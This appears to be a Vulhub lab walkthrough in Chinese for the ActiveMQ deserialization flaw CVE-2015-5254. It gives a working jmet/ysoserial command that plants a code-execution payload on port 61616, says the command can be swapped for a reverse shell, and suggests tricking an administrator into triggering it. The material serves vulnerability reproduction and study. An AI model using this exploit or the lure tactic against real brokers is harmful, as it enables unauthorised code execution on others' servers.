ActiveMQ 反序列化漏洞(CVE-2015-5254)
Path activemq/CVE-2015-5254
Apache ActiveMQ是美國阿帕奇(Apache)軟件基金會所研發的一套開源的消息中間件,它支持Java消息服務、集群、Spring Framework等。
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,該漏洞源于程序沒有限制可在代理中序列化的類。遠程攻擊者可借助特制的序列化的Java Message Service(JMS)ObjectMessage對象利用該漏洞執行任意代碼。
參考鏈接:
漏洞環境
運行漏洞環境:
docker-compose up -d
環境運行后,將監聽61616和8161兩個端口。其中61616是工作端口,消息在這個端口進行傳遞;8161是Web管理頁面端口。訪問http://your-ip:8161即可看到web管理頁面,不過這個漏洞理論上是不需要web的。
漏洞復現
漏洞利用過程如下:
- 構造(可以使用ysoserial)可執行命令的序列化對象
- 作為一個消息,發送給目標61616端口
- 訪問web管理頁面,讀取消息,觸發漏洞
使用jmet進行漏洞利用。首先下載jmet的jar文件,并在同目錄下創建一個external文件夾(否則可能會爆文件夾不存在的錯誤)。
jmet原理是使用ysoserial生成Payload并發送(其jar內自帶ysoserial,無需再自己下載),所以我們需要在ysoserial是gadget中選擇一個可以使用的,比如ROME。
執行:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

此時會給目標ActiveMQ添加一個名為event的隊列,我們可以通過http://your-ip:8161/admin/browse.jsp?JMSDestination=event看到這個隊列中所有消息:

點擊查看這條消息即可觸發命令執行,此時進入容器docker-compose exec activemq bash,可見/tmp/success已成功創建,說明漏洞利用成功:

將命令替換成彈shell語句再利用:

值得注意的是,通過web管理頁面訪問消息并觸發漏洞這個過程需要管理員權限。在沒有密碼的情況下,我們可以誘導管理員訪問我們的鏈接以觸發,或者偽裝成其他合法服務需要的消息,等待客戶端訪問的時候觸發。
Vulhub 文檔
推薦文章: